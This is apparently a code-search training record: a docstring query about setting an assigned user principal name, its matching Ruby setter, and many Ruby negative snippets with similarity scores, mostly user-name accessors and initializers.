[ "0.75377595", "0.75377595", "0.7531622", "0.74971575", "0.7236105", "0.7235571", "0.7222723", "0.72015524", "0.71558553", "0.7149611", "0.71352327", "0.7023673", "0.70115095", "0.6963523", "0.6951886", "0.69244426", "0.69244426", "0.6910306", "0.6905644", "0.68904173", "0.68156135", "0.67822576", "0.6779466", "0.6767759", "0.6755783", "0.6749998", "0.6737414", "0.67256594", "0.67153376", "0.6682567", "0.6673567", "0.6666045", "0.66020757", "0.65964264", "0.6583772", "0.6567503", "0.6552548", "0.65495706", "0.6542674", "0.65261745", "0.65201646", "0.65113956", "0.65062785", "0.65045536", "0.6465941", "0.6460378", "0.6455373", "0.6445099", "0.64438134", "0.64438134", "0.64438134", "0.64438134", "0.64192057", "0.64191264", "0.6411851", "0.63951665", "0.6392607", "0.6373737", "0.6373098", "0.6370133", "0.6367109", "0.63659763", "0.6362732", "0.6356651", "0.63564134", "0.63546747", "0.63424045", "0.63410527", "0.63410527", "0.6338411", "0.63376784", "0.6337233", "0.6334189", "0.6334189", "0.6324317", "0.630988", "0.6308376", "0.6306703", "0.6301873", "0.6299357", "0.6296868", "0.6295708", "0.62924564", "0.6279376", "0.62790525", "0.6278434", "0.62772405", "0.6276773", "0.6275996", "0.62724406", "0.6271234", "0.6270797", "0.6270797", "0.6270797", "0.6270797", "0.6270797", "0.6270797", "0.6270797", "0.6270797", "0.6270797" ]
0.72911805
4
Gets the assignedUserPrincipalName property value. UPN of the user the device will be assigned
def assigned_user_principal_name return @assigned_user_principal_name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def assigned_user_principal_name=(value)\n @assigned_user_principal_name = value\n end", "def assigned_user\n User.find_by_id(assigned_id).full_name\n end", "def assigned_user_name(issue)\n if has_assigned_user?(issue)\n User.find_by(id: issue.user_issue.user_id).name\n else\n if internal_user?\n \"Please assign user\"\n else\n \"A representative will be assigned shortly\"\n end\n end\n end", "def user_principal_name\n return @user_principal_name\n end", "def user_principal_name\n return @user_principal_name\n end", "def user_principal_name\n return @user_principal_name\n end", "def user_principal_name\n return @user_principal_name\n end", "def user_principal_name\n return @user_principal_name\n end", "def user_display_name\n return @user_display_name\n end", "def user_display_name\n return @user_display_name\n end", "def user_display_name\n return @user_display_name\n end", "def hubssolib_get_user_name\n user = self.hubssolib_current_user\n user ? user.user_real_name : nil\n end", "def user_name\n decode_string_member(:user_name)\n end", "def user_name\n @user_name ||= InchCI::ProjectUID.new(uid).user_name\n end", "def user_username\n if self.user != nil\n self.user.username\n end\n end", "def user_display_name\n @attributes[:user_display_name]\n end", "def user_principal_name=(value)\n @user_principal_name = value\n end", "def user_principal_name=(value)\n @user_principal_name = value\n end", "def user_principal_name=(value)\n @user_principal_name = value\n end", "def user_principal_name=(value)\n @user_principal_name = value\n end", "def user_principal_name=(value)\n @user_principal_name = value\n end", "def get_username\n @user_name ||= self.user.username\n end", "def user_name\n read_attribute('user_name') || \"anonymous\"\n end", "def current_user\n # We just do a 'basename' on the principal to give back a sane value\n # here.\n user_name = Http::UrlUtil.split_path(current_principal)[1]\n\n user_name\n end", "def username\n if @user.nil?\n @user = JavaSystem.getProperty(\"user.name\")\n end\n\n @user\n end", "def user_name\n\t\tobject.user.full_name \n\tend", "def get_user_name_not_null\n user = User.first(:id => self.user_id )\n return user.login if user\n return \"anon\"\n end", "def user_name\n return User.find(user_id).name\n end", "def user_name\n return User.find(user_id).name\n end", "def user_name\n @user_name ||= SlackUtils::SingletonClient.instance.find_user_name(@user_id)\n end", "def user_name(uid)\n deter_lab.get_profile(uid).try(:[], \"name\")\n end", "def user_name\n name = self.le_user.nil? ? '' : self.le_user.name\n end", "def get_name(uid)\n\t\t\t\tusers().each do |user|\n\t\t\t\t\treturn user[1].username if user[1].uid == uid\n\t\t\t\tend\n\t\t\t\tnil\n\t\t\tend", "def user_full_name\n user ? user.full_name : \"Anonymous\"\n end", "def user_name\n name = user.nil? ? '' : user.name\n end", "def owner_name\n return 'N/A' if anonymous? || user.nil?\n return user.name if user.name?\n user.email\n end", "def user_full_name\n if user\n user.first_name + ' ' + user.last_name\n else\n 'Anonymous'\n end\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def user_name\n user ? user.name : ''\n end", "def account_name\n return @account_name\n end", "def account_name\n return @account_name\n end", "def display_name\n #self.email.split('@')[0]\n self.username\n end", "def nickname\r\n return @user.nickname\r\n end", "def admin_username\n vm.os_profile.admin_username\n end", "def assigned_to_name\n if self.assigned_to_user_id\n assigned_to_user.full_name\n elsif self.assigned_to_matter_people_id\n assigned_to_matter_people.get_name\n end\n end", "def get_user_name(user_id)\n User.find(user_id).name rescue nil\n end", "def get_display_name\n @display_name ||= self.user.display_name\n end", "def username\r\n return @user.username\r\n end", "def username\n @json['profile']['preferredUsername'] rescue nil\n end", "def username\n if @username.nil?\n if os_type(:nice, :not_extended) == 'Solaris'\n @username = @platform.exec(\"/usr/ucb/whoami\").strip\n else\n @username = @platform.exec(\"whoami\").strip\n end\n end\n \n @username\n end", "def user_name\n if self.user.blank?\n \"-\"\n else\n self.user.name\n end\n end", "def get_user_name(role)\n get_user(role).full_name\n end", "def getuid\n\t\trequest = Packet.create_request('stdapi_sys_config_getuid')\n\t\tresponse = client.send_request(request)\n\t\treturn response.get_tlv_value(TLV_TYPE_USER_NAME)\n\tend", "def user_name\n User.find(self.user_id).name\n end", "def user_name\n @message[:user][:name]\n end", "def current_user_name_or_id\n require 'etc' if !defined?(Etc)\n begin\n user = Etc.getpwuid(Process.uid)\n rescue ArgumentError\n user = nil\n end\n if user\n return user.name\n else\n return \"##{Process.uid}\"\n end\n end", "def uid_to_username(uid)\n uid = Integer(uid)\n Etc.getpwuid(uid).name\n end", "def user_full_name\n @user[\"name\"]\n end", "def preferred_username\n return @poco_data[:preferred_username] unless @poco_data == nil\n pick_first_node(@poco.xpath('./poco:preferredUsername'))\n end", "def given_name\n @net_ldap_entry[:givenname].first\n end", "def name_str\n self.anon ? \"Anonymous\" : self.user.name\n end", "def username\n profile['Username']\n end", "def get_user_name\n\t\tretVal = \"User Not Found\"\n\t\tuser_id = self.user_id\n\t\tuser = User.find(user_id, :select=>[\"fname\",\"lname\"])\n\t\tunless user.nil?\n\t\t\tretVal = user.fname + \" \" + user.lname\n\t\tend\n\t\treturn retVal\n\tend", "def user_name\n self.user ? self.user.name : 'Anonymous'\n end", "def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.empty? ? \"John Doe\" : name.squish\n end", "def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.present? ? name.squish : \"John Doe\"\n end", "def getusername()\r\n return getvalue(SVTags::USER_ID)\r\n end", "def nickname\n user_info['nickname']\n end", "def string_username\n CaseInsensitiveString.str(current_user.getUsername())\n end", "def user_display_name=(value)\n @user_display_name = value\n end", "def user_display_name=(value)\n @user_display_name = value\n end", "def user_display_name=(value)\n @user_display_name = value\n end", "def name\r\n\t\t@usr_name\r\n\tend", "def name\r\n\t\t@usr_name\r\n\tend", "def get_username(user_id)\n return User.find(user_id).username\n end", "def current_user_name\n logged_in? ? (user_name(current_user_id) || current_user_id) : nil\n end", "def user_account\n @user_account ||= if (parts = new_resource.user.match(/(?<domain>.*)\\\\(?<account>.*)/))\n parts[:account]\n else\n new_resource.user\n end\n end", "def device_account_email\n return @device_account_email\n end", "def to_s\n username || sanitized_email || 'Anonymous'\n end", "def get_user_name client, event\n # calls users_info on slack\n info = client.users_info(user: event.user_id )\n info['user']['name']\n end", "def get_full_name(user)\n begin\n Etc.getpwnam(\"#{user}\")[\"gecos\"].chomp\n # or with dscl\n # %x(dscl /Search -read /Users/#{user} dsAttrTypeNative:cn).split.drop(1).join(\" \") \n rescue Exception => e\n end\n \n end", "def simple_username\n return user.firstname + ' ' + user.lastname.first + '.' if !user.nil?\n name\n end", "def user_name\n self.user.login\n end", "def user_name\n self.user.login\n end", "def user_account\n return @user_account\n end", "def to_s\n return user.name\n end", "def ldap_username\n @attributes[:ldap_username]\n end", "def user_name\n self.user.name\n end", "def username\n # this @user will always be an instance of a User\n @user.username\n end", "def find_username\n # Default to the nickname provided in the Omniauth details. If a nickname\n # was not provided or a user with the same username already exists, use the\n # e-mail address as the username.\n username = auth_nickname\n username = auth_email if username.blank? ||\n User.exists?(username: username)\n\n username\n end", "def getUsername\n return @username\n end", "def get_username()\n username_gitconfig = %x(git config user.name).strip\n username_passwd = Etc.getpwnam(Etc.getlogin).gecos.gsub(/ - SBP.*/,'')\n\n username = username_gitconfig unless username_gitconfig.nil?\n username = username_passwd if username.empty?\n username\n end" ]
[ "0.711039", "0.6570505", "0.6569766", "0.6473234", "0.6473234", "0.6473234", "0.6473234", "0.6473234", "0.62527835", "0.62527835", "0.62527835", "0.6228687", "0.6213782", "0.61877847", "0.6187155", "0.61507785", "0.61430955", "0.61430955", "0.61430955", "0.61430955", "0.61430955", "0.6134997", "0.6129339", "0.6058812", "0.60412383", "0.59633565", "0.5956967", "0.59349203", "0.59349203", "0.5881797", "0.58589655", "0.58560324", "0.58036363", "0.57988983", "0.57759285", "0.5759987", "0.5743721", "0.5722994", "0.5722994", "0.5722994", "0.5722994", "0.5722994", "0.5722994", "0.5722994", "0.5722994", "0.5722994", "0.5722994", "0.57192016", "0.57192016", "0.5710961", "0.57038087", "0.5699167", "0.5659232", "0.56532514", "0.5643077", "0.563363", "0.56316584", "0.56283927", "0.5627595", "0.56064945", "0.5602303", "0.5600791", "0.5594874", "0.55849683", "0.5582704", "0.5580503", "0.5576255", "0.5572179", "0.5568638", "0.55677974", "0.55654377", "0.5557468", "0.5536765", "0.55342656", "0.5520511", "0.5490373", "0.5487689", "0.54847693", "0.54847693", "0.54847693", "0.54763603", "0.54763603", "0.54762226", "0.5475875", "0.5469385", "0.5458047", "0.54497296", "0.5424329", "0.5419888", "0.5401107", "0.53987783", "0.53987783", "0.5386246", "0.5382185", "0.5379215", "0.5378922", "0.53752893", "0.5374161", "0.5371141", "0.53675497" ]
0.76104075
0
Sets the assignedUserPrincipalName property value. UPN of the user the device will be assigned
def assigned_user_principal_name=(value) @assigned_user_principal_name = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_principal_name=(value)\n @user_principal_name = value\n end", "def user_principal_name=(value)\n @user_principal_name = value\n end", "def user_principal_name=(value)\n @user_principal_name = value\n end", "def user_principal_name=(value)\n @user_principal_name = value\n end", "def user_principal_name=(value)\n @user_principal_name = value\n end", "def assigned_user_principal_name\n return @assigned_user_principal_name\n end", "def user_name_set(name)\n self.username.set name if nil_or_empty?(username[:value])\n end", "def new_username=(value)\n @new_username = (value.nil? ? value : value.upcase)\n end", "def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end", "def user_display_name=(value)\n @user_display_name = value\n end", "def user_display_name=(value)\n @user_display_name = value\n end", "def user_display_name=(value)\n @user_display_name = value\n end", "def username=(new_name)\n @username = new_name.upcase\n end", "def username=(s)\n write_attribute(:username, s.to_s.strip.sub(/^@/, '').downcase)\n end", "def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end", "def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end", "def nickname=(name)\n write_attribute('preferred_name', name)\n end", "def assigned_user_name(issue)\n if has_assigned_user?(issue)\n User.find_by(id: issue.user_issue.user_id).name\n else\n if internal_user?\n \"Please assign user\"\n else\n \"A representative will be assigned shortly\"\n end\n end\n end", "def set_assigned_owner\n @assigned_owner = AssignedOwner.find(params[:id])\n end", "def assigned_user_count=(value)\n @assigned_user_count = value\n end", "def username=(value)\n write_attribute(:username, value)\n reset_persistence_token if username_changed?\n end", "def set_username\n user = User.where(ipaddress: request.remote_ip).last\n if user.present?\n @user = user\n else\n username = \"User #{User.count+1}-#{DateTime.now.to_i}\"\n @user = User.create(username: username, ipaddress: request.remote_ip)\n end\n end", "def account_name=(value)\n @account_name = value\n end", "def account_name=(value)\n @account_name = value\n end", "def set_user_name_field(user_name)\n @chrome_driver.find_element(:id, USERNAME_FIELD).send_keys(user_name)\n end", "def username=(value)\n\t write_attribute(:username, value.downcase)\n\tend", "def set_cognito_username\n\t\tif self.cognito_username.blank?\n\t\t\tbegin\n\t\t\t\t\n\t\t\t\tresponse = $c.get_user({\n\t\t\t\t\taccess_token: self.access_token\n\t\t\t\t})\n\t\t\t\tself.cognito_username = response.username\n\t\t\trescue => e\n\t\t\t\tself.errors.add(:id,e.to_s)\n\t\t\tend\n\t\tend\n\t\tself.skip_background_job = true\n\t\tself.save\n\tend", "def set_user_name_field(user_name)\n end", "def username(u)\n @config[:username] = u\n end", "def principal_name=(new_principal_name)\n @principal_name = new_principal_name\n if principal_type.blank?\n self.principal_id = nil\n else\n self.principal = Object.const_get(principal_type).\n find_by_name(new_principal_name)\n end\n end", "def user_account=(value)\n @user_account = value\n end", "def usrname=(usrname)\n @context[:usname] = usrname\n end", "def service_principal_name=(value)\n @service_principal_name = value\n end", "def set_username\n return if username?\n return unless email?\n\n base = email.partition('@').first.tr('.', '_')\n\n self.username = generate_username(base)\n end", "def user_assign(value)\n forget_value('user')\n assign value, 'user'\n end", "def assigner_user_id=(value)\n @assigner_user_id = value\n end", "def user_name=(name)\n self.user = User.find_or_create_by(name: name)\n end", "def assigned_user\n User.find_by_id(assigned_id).full_name\n end", "def set_AccountName(value)\n set_input(\"AccountName\", value)\n end", "def set_AccountName(value)\n set_input(\"AccountName\", value)\n end", "def user=(username)\n @user ? find_and_update('//apps:login', userName: [@user, username]) : create('login', username)\n\n @user = username\n end", "def user_assign(value)\n forget_value(\"user\")\n assign(value,\"user\")\n end", "def cmd_notify_set_user(*args)\n\t\t\t\tif args.length > 0\n\t\t\t\t\tprint_status(\"Setting the Slack handle to #{args[0]}\")\n\t\t\t\t\t@user_name = args[0]\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Please provide a value\")\n\t\t\t\tend\n\t\t\tend", "def username=(new_username)\n @username = new_username\n end", "def set_user_account\n @user_account = UserAccount.find_by(username: session[:user_id])\n end", "def assigned=(value)\n @data['assigned_id'] = set_reference('Person', value).id\n end", "def set_user_name_field(user_name)\n @chrome_driver.find_element(:id, USERNAME_FIELD).send_keys(user_name)\n sleep 1\n end", "def assigned_to=(value)\n @assigned_to = value\n end", "def assigned_to=(value)\n @assigned_to = value\n end", "def set_user\n @user = User.find_by(name: params[:name]) || current_user\n end", "def assign_to_user!(u)\n\t\tself.user = u\n\t\tself.assign_memberships_to_user!\n\t\tsave!\n\t\tu\n\tend", "def user_assign(value)\n forget_value(\"user\")\n assign value,\"user\"\n end", "def set_real_name\n @real_name = enroll_params[:real_name]\n # On P&E Dashboard, real name is not set except via self-enrollment\n # or via explicitly submitted params.\n return unless Features.wiki_ed?\n # On Wiki Education Dashboard, if the course is approved, we allow the\n # instructors to add users and still include the real name.\n return unless adding_self? || current_user.admin? || @course.approved?\n\n @real_name ||= @user.real_name\n end", "def username= new_username\n @username = new_username\n end", "def mail_nickname=(value)\n @mail_nickname = value\n end", "def set_username\n self.username = \"#{self.email.split('@').first}#{Faker::Number.number(3)}\"\n end", "def username=(val)\n write_attribute(:username, val.downcase.split(\" \").join)\n end", "def username=(un)\n self[:username] = (un.nil? ? nil : un.downcase)\n end", "def username=(username)\n write_attribute(:username, username.downcase)\n end", "def username=(username)\n write_attribute(:username, username.downcase)\n end", "def set_avatar_name\n self.display_name ||= self.username\n end", "def nickname=(value)\n @nickname = value\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def user_name\n @user_name ||= InchCI::ProjectUID.new(uid).user_name\n end", "def username=(value)\n write_attribute :username, value.downcase\n end", "def account_name=(name)\n self.current_account = Account.find_by_name(name)\n end", "def assign_to(new_owner)\n if new_owner != \"congress\"\n @assigned_to = new_owner\n end\n end", "def role_name=(value)\n if value == @defaults['ai.device.roleName']\n @values.delete 'ai.device.roleName' if @values.key? 'ai.device.roleName'\n else\n @values['ai.device.roleName'] = value\n end\n end", "def normalize_user_name\n\t\tself.user_name = user_name.downcase\n\tend", "def set_user\n @cUser = current_user\n puts \"***#{@cUser}\"\n end", "def set_name(uuid, new_name)\n execute_prlctl('set', uuid, '--name', new_name)\n end", "def assign_user\n #If @user is already assigned (by multi_authenticate), stop here and don't create a user\n return @user if @user.present?\n\n #Otherwise, generates a user with IP & user_agent\n user_ip_adress = request.remote_ip\n user_agent = request.user_agent\n user_cookie = cookies[\"user_id\"]\n \n @user = User.create(ip_adress: user_ip_adress, user_agent: user_agent) #generates a new user with a user_cookie\n cookies.permanent[\"user_id\"] = { value: @user.user_cookie } #stores the user_cookie in the cookies of the client\n end", "def user_uid=(uid=\"\")\n if uid != \"\"\n write_attribute(:user_uid, uid)\n end\n end", "def username(name = nil)\n if !name then @username\n else @username = name\n end\n end", "def assign_real_user\n if ( hubssolib_logged_in? && @current_user.nil? )\n\n email = hubssolib_get_user_address()\n name = hubssolib_unique_name()\n roles = hubssolib_get_user_roles()\n\n # Not internationalised since these are Should Never Happen exceptions\n # and in production mode, all the user would see is a 500 error.\n\n raise \"Current Hub user appears to have no e-mail address\" if ( email.nil? )\n raise \"Current Hub user's name is unkonwn\" if ( name.nil? )\n raise \"Current Hub user's roles are unknown\" if ( roles.nil? )\n\n user = User.find_by_email( email ) # Want to associate payments by e-mail address\n # since that's the primary association for e.g.\n # PayPal, even though we're also using a human\n # readable person's name that's been made\n # unique by Hub adding the Hub user ID to it.\n\n if ( user.nil? )\n user = User.new\n user.email = email\n user.name = name\n user.admin = roles.include?( :admin ) || roles.include?( :webmaster )\n user.save!\n end\n\n @current_user = user\n else\n @current_user = nil\n end\n\n return @current_user\n end", "def username(name)\n default_message_options[:username] = name\n end", "def user_name=(user_name)\n if user_name.nil?\n fail ArgumentError, 'user_name cannot be nil'\n end\n\n if user_name.to_s.length > 64\n fail ArgumentError, 'invalid value for \"user_name\", the character length must be smaller than or equal to 64.'\n end\n\n @user_name = user_name\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_user\n @user = User.find(params[:user_name])\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def cmd_twitt_set_user(*args)\n\t\t\t\tif args.length > 0\n\t\t\t\t\tprint_status(\"Setting the DM target user to #{args[0]}\")\n\t\t\t\t\t@user = args[0]\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Please provide a value\")\n\t\t\t\tend\n\t\t\tend", "def set_user\n if params[:username]\n @user = User.find_by!(username: params.fetch(:username))\n else\n @user = current_user\n end\n end", "def set_name\n person = CMU::Person.find(andrew_id)\n if !person.nil?\n self.first_name = person.first_name\n self.last_name = person.last_name\n end\n end", "def set_users_profile\n @user = User.find(current_user)\n end", "def account_name=(name)\n self.account = Account.find_by_name!(name)\n end" ]
[ "0.64495754", "0.64495754", "0.64495754", "0.64495754", "0.64495754", "0.62757325", "0.6000005", "0.59446996", "0.59135413", "0.58558893", "0.58558893", "0.58558893", "0.5779624", "0.571185", "0.5684831", "0.5684831", "0.5671444", "0.5671299", "0.5668903", "0.5653878", "0.5615618", "0.56006014", "0.55995274", "0.55995274", "0.5596914", "0.55651534", "0.5542313", "0.5524502", "0.5505053", "0.54937196", "0.54926604", "0.5488598", "0.54462874", "0.5429964", "0.5423298", "0.5419583", "0.53970057", "0.5388278", "0.5375035", "0.5375035", "0.5367877", "0.5355868", "0.53550184", "0.5347405", "0.5344829", "0.53428024", "0.53106564", "0.5302712", "0.5302712", "0.5283486", "0.5281153", "0.5273272", "0.5241011", "0.52246445", "0.52119005", "0.52068317", "0.51992434", "0.5180028", "0.51565117", "0.51565117", "0.5148698", "0.5145659", "0.514252", "0.514252", "0.514252", "0.514252", "0.514252", "0.514252", "0.514252", "0.514252", "0.514252", "0.514252", "0.5133944", "0.5131653", "0.5127993", "0.5125528", "0.5122404", "0.5111678", "0.5100385", "0.5098525", "0.5096957", "0.5095108", "0.50738734", "0.5069232", "0.5066049", "0.5045344", "0.5042914", "0.50415707", "0.5041415", "0.5041415", "0.5041415", "0.5041415", "0.5041415", "0.5041415", "0.5041415", "0.50277966", "0.50136644", "0.49972358", "0.49966145", "0.4993925" ]
0.76899457
0
Instantiates a new importedWindowsAutopilotDeviceIdentity and sets the default values.
def initialize() super end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize()\n super\n @odata_type = \"#microsoft.graph.provisionedIdentity\"\n end", "def initialize(path_parameters, request_adapter)\n super(path_parameters, request_adapter, \"{+baseurl}/deviceManagement/windowsAutopilotDeviceIdentities/{windowsAutopilotDeviceIdentity%2Did}{?%24select,%24expand}\")\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.androidWorkProfileGeneralDeviceConfiguration\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.windowsInformationProtection\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.sharePointIdentity\"\n end", "def set_identifiers\n identifier.tap do |i|\n i.value = user.icn\n i.system = SYSTEM_ID\n i.type = identifier_type\n end\n end", "def set_defaults\n self.state ||= 'NEW'\n self.user_id ||= Gizmo::Util::Uuid.generate\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.appleManagedIdentityProvider\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.windowsUniversalAppX\"\n end", "def uid_init(userid, password, profile, guest = 'y')\r\n\t\t\t@userid = userid\r\n\t\t\t@password = password\r\n\t\t\t@profile = profile\r\n\t\t\t@guest = guest\r\n\t\t\treturn self\r\n\t\tend", "def initialize()\n super\n @odata_type = \"#microsoft.graph.deviceEnrollmentPlatformRestrictionsConfiguration\"\n end", "def set_default_exuid\n self.exuid ||=\n Base32.encode(SecureRandom.random_bytes(16)).downcase.sub(/=*$/, '')\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.iosGeneralDeviceConfiguration\"\n end", "def reset\n self.apikey = DEFAULT_APIKEY\n self.endpoint = DEFAULT_ENDPOINT\n self.sandbox_endpoint = DEFAULT_SANDBOX_ENDPOINT\n self.sandbox_enabled = DEFAULT_SANDBOX_ENABLED\n self.fmt = DEFAULT_FMT\n self.uid = UUID.new.generate(:compact)\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.windowsAppXAppAssignmentSettings\"\n end", "def initialize_user_settings_defaults\n self.disabled_sports = []\n self.locale = 'en'\n self.device_ids = []\n end", "def initialize(claims)\n claims.each { |k, v| instance_variable_set(\"@#{k}\", v) }\n @unique_id = oid || sub || unique_id\n @displayable_id = upn || email\n end", "def set_default_exuid\n self.exuid ||=\n SecureRandom.random_bytes(8).unpack('Q').first & 0x7fffffffffffffff\n end", "def generate_identity\n handle_name ||= username if respond_to?(:username)\n handle_name ||= short_name if respond_to?(:short_name)\n handle_name ||= name.parameterize(\"_\").gsub(\"-\",\"_\") if respond_to?(:name)\n\n self.handle = Handle.build_unique(self, handle_name)\n self.handle.identifiable = self\n\n self[identity_field] = handle.name\n instance_variable_set(:\"@#{identity_field}\", handle.name)\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.sharedPCConfiguration\"\n end", "def auto_initialize!\n # noop by default\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.windows10MobileCompliancePolicy\"\n end", "def default_id=(id)\n if @identity_map.has_key? id\n @default_id = id\n else\n raise TypeError.new(\"Default identity must already exist\")\n end\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.windows10EndpointProtectionConfiguration\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.macOsLobAppAssignmentSettings\"\n end", "def initialize(device_uuid, secret)\n @device_uuid = device_uuid\n @secret = secret\n end", "def id=(value)\n if value == @defaults['ai.device.id']\n @values.delete 'ai.device.id' if @values.key? 'ai.device.id'\n else\n @values['ai.device.id'] = value\n end\n end", "def defaults\n {\n 'VERSION' => '4.0',\n 'PRODID' => \"-//Tilia//Tilia VObject #{Version::VERSION}//EN\",\n 'UID' => \"tilia-vobject-#{UuidUtil.uuid}\"\n }\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.sharePointIdentitySet\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.androidGeneralDeviceConfiguration\"\n end", "def initialize(primary_key, uuid, uti, note, alt_text, token_identifier)\n super(primary_key, uuid, uti, note, alt_text, token_identifier)\n\n @target_account = nil\n @target_account = @note.notestore.cloud_kit_participants[@token_identifier]\n\n # Fall back to just displaying a local account, this generally appears as __default_owner__\n @target_account = @note.notestore.get_account_by_user_record_name(@token_identifier) if !@target_account\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.emailIdentity\"\n end", "def initialize(id_name)\n raise ActivatorIdentityException(\"basedir not set\") if @@basedir.nil?\n\n @identity_dir = File.join(@@basedir, \"identity\", id_name)\n\n @org_id = nil\n @csr = EZSSL_CSR.new\n @key_file_path = File.join(@identity_dir, \"key\")\n @cert_file_path = File.join(@identity_dir, \"cert\")\n @csr_file_path = File.join(@identity_dir, \"csr\")\n @csr_data_file_path = File.join(@identity_dir, \"csr_data\") \n @id_data_file_path = File.join(@identity_dir, \"id_data\")\n @id_name = id_name\n\n\n @files_to_clean = [@csr_file_path,\n @cert_file_path,\n # @key_file_path, ## do not delete - ever\n @cert_file_path,\n @csr_file_path,\n @csr_data_file_path,\n @id_data_file_path]\n\n @admin_email = nil\n @admin_name = nil\n\n # Check if the identity exists.\n if File.exists?(@identity_dir) \n if File.exists?(@csr_data_file_path)\n @csr.load_csr_data(@csr_data_file_path)\n end\n \n if File.exists?(@id_data_file_path)\n File.open(@id_data_file_path, \"r\") do |f|\n s = YAML.load(f)\n @admin_email = s[:admin_email]\n @admin_name = s[:admin_name]\n @kdn = s[:kdn]\n @org_id = s[:org_id]\n end\n end\n else\n FileUtils.mkdir_p(@identity_dir)\n end\n end", "def create_default_settings\n setting = Setting.new\n setting.user_id = self.id\n setting.save!\n end", "def initialize(connector, oid: nil, raw: nil)\n @connector = connector\n if oid\n initialize_from_service(oid)\n else\n @raw = raw\n end\n end", "def create_identity_from_request\n # params[:identity] exists when creating a local identity provider\n Identity.new(identity_params).tap do |identity|\n identity.user = User.create\n # omniauth exists if coming from a 3rd party provider like LinkedIn\n identity.apply_omniauth(omniauth) if omniauth\n identity.save\n end\n end", "def preset_default_values( params_hash = {} )\n unless self.le_user || params_hash[:user_id].blank? # Set current user only if not set\n begin\n if params_hash[:user_id]\n self.user_id = params_hash[:user_id].to_i\n end\n rescue\n self.user_id = nil\n end\n end\n self\n end", "def set_defaults\n self.state ||= 'ACTIVE'\n self.account_user_id ||= Gizmo::Util::Uuid.generate\n self.is_owner ||= false\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.iosVppAppAssignmentSettings\"\n end", "def set_current_device\n return false if ENV['create_device'].nil? && ENV['device_id'].nil?\n device_id = fetch_variable('device_id')\n\n TestChamber::Device.new.tap do |device|\n device.udid = device_id if device_id\n TestChamber.current_device = device\n puts \"Using device with ID: #{device.udid}\"\n end\nend", "def assign_id\n Sufia::IdService.mint if Sufia.config.enable_noids\n end", "def initialize(attributes = {})\n attr_with_defaults = {\n status: false,\n import_key: generate_import_key(attributes)\n }.merge(attributes)\n super(attr_with_defaults)\n end", "def create_identity(params = {})\n scope 'default'\n post('identity/', params)\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.clientCertificateAuthentication\"\n end", "def initialize(xdo, _window)\n @xdo = xdo\n @_xdo_pointer = xdo._pointer\n @_window = _window\n end", "def seed\n self.username = Etc.getlogin\n self.id = Time.now.to_ntp\n self.version = self.id\n self.network_type = \"IN\"\n self.address_type = \"IP4\"\n self.unicast_address = Socket.gethostname\n\n self.name = \" \"\n self.connection_network_type = self.network_type\n self.connection_address_type = self.address_type\n self.connection_address = local_ip\n self.start_time = 0\n self.stop_time = 0\n end", "def default_values\n # always uses the same elevator system\n self.elevator_system ||= ElevatorSystem.first\n # always starts on the first floor\n self.floor ||= Floor.where(number: 1).first\n end", "def initialize\n set_defaults\n end", "def initialize\n set_defaults\n end", "def initialize(fullname = \"New User\", address = \"\", city = \"\", state = \"\", zip = \"\", country = \"\", email = \"\", phone = \"\", userid, password)\n @fullname = fullname\n @address = address\n @city = city\n @state = state\n @zip = zip\n @country = country\n @email = email\n @phone = phone\n @userid = userid\n @password = password\n end", "def initialize(identity, attributes={})\n set_attributes(attributes)\n @identity = identity\n @persisted = false\n @errors = {}\n end", "def set_identity\n @identity = Identity.find_by uuid: params['uuid']\n end", "def set_defaults\n self.notification_id ||= Thrive::Util::Uuid.generate\n self.state = 'new' unless state\n end", "def initialize(values)\r\n self.settings 